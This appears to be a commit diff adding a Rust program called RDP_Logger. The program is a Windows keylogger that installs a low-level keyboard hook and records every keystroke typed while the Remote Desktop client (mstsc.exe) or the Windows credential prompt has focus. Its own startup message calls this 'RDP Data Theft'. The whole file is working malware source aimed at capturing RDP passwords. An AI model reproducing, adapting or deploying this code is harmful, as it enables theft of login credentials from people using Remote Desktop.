1
+ /*
2
+ RDP_Logger
3
+ Author: 5mukx
4
+ */
5
+
6
+ use winapi:: {
7
+ shared:: minwindef:: { LPARAM , LRESULT , WPARAM } ,
8
+ um:: { errhandlingapi:: GetLastError , handleapi:: CloseHandle ,
9
+ tlhelp32:: { CreateToolhelp32Snapshot , Process32First , Process32Next , PROCESSENTRY32 , TH32CS_SNAPPROCESS } ,
10
+ winuser:: { CallNextHookEx , DispatchMessageW , GetForegroundWindow , GetKeyState , GetMessageW , GetWindowThreadProcessId , SetWindowsHookExW , TranslateMessage , UnhookWindowsHookEx , KBDLLHOOKSTRUCT , VK_SHIFT , WH_KEYBOARD_LL , WM_KEYDOWN , WM_SYSKEYDOWN } } } ;
11
+
12
+ use std:: {
13
+ ffi:: CString , mem, ptr:: null_mut,
14
+ sync:: atomic:: { AtomicI32 , Ordering }
15
+ } ;
16
+
17
+
18
+ fn get_pid ( process_name : & str ) -> u32 {
19
+ unsafe {
20
+ let mut pe: PROCESSENTRY32 = std:: mem:: zeroed ( ) ;
21
+ pe. dwSize = mem:: size_of :: < PROCESSENTRY32 > ( ) as u32 ;
22
+
23
+ let snap = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS , 0 ) ;
24
+ if snap. is_null ( ) {
25
+ println ! ( "Error while snapshoting processes : Error : {}" , GetLastError ( ) ) ;
26
+ std:: process:: exit ( 0 ) ;
27
+ }
28
+
29
+ let mut pid = 0 ;
30
+
31
+ let mut result = Process32First ( snap, & mut pe) != 0 ;
32
+
33
+ while result{
34
+
35
+ let exe_file = CString :: from_vec_unchecked ( pe. szExeFile
36
+ . iter ( )
37
+ . map ( |& file| file as u8 )
38
+ . take_while ( |& c| c!=0 )
39
+ . collect :: < Vec < u8 > > ( ) ,
40
+ ) ;
41
+
42
+ if exe_file. to_str ( ) . unwrap ( ) == process_name {
43
+ pid = pe. th32ProcessID ;
44
+ // break;
45
+ }
46
+ result = Process32Next ( snap, & mut pe) !=0 ;
47
+ }
48
+
49
+ if pid == 0 {
50
+ println ! ( "Unable to get PID for {}: {}" , process_name , "PROCESS DOESNT EXISTS" ) ;
51
+ // std::process::exit(0);
52
+ }
53
+
54
+ CloseHandle ( snap) ;
55
+ pid
56
+ }
57
+ }
58
+
59
+ fn is_window_of_process_focused ( proc_name : & str ) -> bool {
60
+
61
+ let pid = get_pid ( proc_name) ;
62
+ unsafe {
63
+ let h_active_window = GetForegroundWindow ( ) ;
64
+ if h_active_window. is_null ( ) {
65
+ return false ;
66
+ }
67
+
68
+ let mut active_pid = 0 ;
69
+ GetWindowThreadProcessId ( h_active_window, & mut active_pid) ;
70
+
71
+ return active_pid == pid;
72
+ }
73
+ }
74
+
75
+ static PREV_KEY : AtomicI32 = AtomicI32 :: new ( 0 ) ;
76
+
77
+
78
+ unsafe extern "system" fn keyboard_hook_proc ( n_code : i32 , w_param : WPARAM , l_param : LPARAM ) -> LRESULT {
79
+ if n_code >= 0 {
80
+ if is_window_of_process_focused ( "mstsc.exe" ) || is_window_of_process_focused ( "CredentialUIBroker.exe" ) {
81
+ let kbd_struct = * ( l_param as * const KBDLLHOOKSTRUCT ) ;
82
+ let vk_code = kbd_struct. vkCode as i32 ;
83
+
84
+ if w_param == WM_KEYDOWN as usize || w_param == WM_SYSKEYDOWN as usize {
85
+ if vk_code == 0xA2 {
86
+ PREV_KEY . store ( vk_code, Ordering :: SeqCst ) ;
87
+ return CallNextHookEx ( null_mut ( ) , n_code, w_param, l_param) ;
88
+ }
89
+
90
+ if PREV_KEY . load ( Ordering :: SeqCst ) == 0xA2 && vk_code == 0xA5 {
91
+ println ! ( "<RALT>" ) ;
92
+ } else if PREV_KEY . load ( Ordering :: SeqCst ) == 0xA2 && vk_code != 0xA5 {
93
+ println ! ( "<LCTRL>" ) ;
94
+ }
95
+
96
+ match vk_code {
97
+ 0xA3 => println ! ( "<RCTRL>" ) ,
98
+ 0xA4 => println ! ( "<LALT>" ) ,
99
+ 0x08 => println ! ( "<ESC>" ) ,
100
+ 0x0D => println ! ( "<ENTER>" ) ,
101
+ _ => {
102
+ let shift_pressed = ( GetKeyState ( VK_SHIFT ) & 0x8000u16 as i16 ) != 0 ;
103
+ match vk_code {
104
+ 0x30 ..=0x39 => { // Digits 0-9
105
+ if shift_pressed {
106
+ match vk_code {
107
+ 0x31 => println ! ( "!" ) ,
108
+ 0x32 => println ! ( "@" ) ,
109
+ 0x33 => println ! ( "#" ) ,
110
+ 0x34 => println ! ( "$" ) ,
111
+ 0x35 => println ! ( "%" ) ,
112
+ 0x36 => println ! ( "^" ) ,
113
+ 0x37 => println ! ( "&" ) ,
114
+ 0x38 => println ! ( "*" ) ,
115
+ 0x39 => println ! ( "(" ) ,
116
+ 0x30 => println ! ( ")" ) ,
117
+ _ => { }
118
+ }
119
+ } else {
120
+ println ! ( "{}" , ( vk_code as u8 ) as char ) ;
121
+ }
122
+ }
123
+ 0xBA => println ! ( "{}" , if shift_pressed { ':' } else { ';' } ) ,
124
+ 0xBB => println ! ( "{}" , if shift_pressed { '+' } else { '=' } ) ,
125
+ 0xBC => println ! ( "{}" , if shift_pressed { '<' } else { ',' } ) ,
126
+ 0xBD => println ! ( "{}" , if shift_pressed { '_' } else { '-' } ) ,
127
+ 0xBE => println ! ( "{}" , if shift_pressed { '>' } else { '.' } ) ,
128
+ 0xBF => println ! ( "{}" , if shift_pressed { '?' } else { '/' } ) ,
129
+ 0xC0 => println ! ( "{}" , if shift_pressed { '~' } else { '`' } ) ,
130
+ 0xDB => println ! ( "{}" , if shift_pressed { '{' } else { '[' } ) ,
131
+ 0xDC => println ! ( "{}" , if shift_pressed { '|' } else { '\\' } ) ,
132
+ 0xDD => println ! ( "{}" , if shift_pressed { '}' } else { ']' } ) ,
133
+ 0xDE => println ! ( "{}" , if shift_pressed { '"' } else { '\'' } ) ,
134
+ 0x41 ..=0x5A => { // Letters A-Z
135
+ if shift_pressed {
136
+ println ! ( "{}" , ( vk_code as u8 ) as char ) ;
137
+ } else {
138
+ println ! ( "{}" , ( vk_code as u8 + 32 ) as char ) ;
139
+ }
140
+ }
141
+ _ => println ! ( "{:?}" , vk_code) ,
142
+ } } ,
143
+ }
144
+ PREV_KEY . store ( vk_code, Ordering :: SeqCst ) ;
145
+ }
146
+ } else {
147
+ return CallNextHookEx ( null_mut ( ) , n_code, w_param, l_param) ;
148
+ }
149
+ }
150
+ CallNextHookEx ( null_mut ( ) , n_code, w_param, l_param)
151
+ }
152
+
153
+
154
+ fn main ( ) {
155
+ println ! ( "[*] Starting RDP Data Theft" ) ;
156
+ println ! ( "[!] Waiting for RDP related Process" ) ;
157
+
158
+ unsafe {
159
+ let hook = SetWindowsHookExW (
160
+ WH_KEYBOARD_LL ,
161
+ Some ( keyboard_hook_proc) ,
162
+ null_mut ( ) ,
163
+ 0 ,
164
+ ) ;
165
+
166
+ if hook. is_null ( ) {
167
+ println ! ( "Failed to set Hook" ) ;
168
+ return ;
169
+ }
170
+ let mut msg: winapi:: um:: winuser:: MSG = std:: mem:: zeroed ( ) ;
171
+
172
+ while GetMessageW (
173
+ & mut msg,
174
+ null_mut ( ) ,
175
+ 0 ,
176
+ 0 ,
177
+ ) != 0 {
178
+ TranslateMessage ( & msg) ;
179
+ DispatchMessageW ( & msg) ;
180
+ }
181
+
182
+ UnhookWindowsHookEx ( hook) ;
183
+ }
184
+ }
0 commit comments